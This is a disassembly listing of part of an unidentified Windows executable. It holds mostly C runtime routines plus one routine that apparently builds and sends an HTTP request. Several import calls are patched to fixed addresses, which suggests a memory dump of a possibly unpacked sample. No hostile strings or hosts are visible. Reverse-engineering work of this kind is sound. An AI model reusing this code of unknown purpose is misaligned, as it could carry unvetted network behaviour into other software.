		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2840000h
		nop
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2840000h
		nop
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
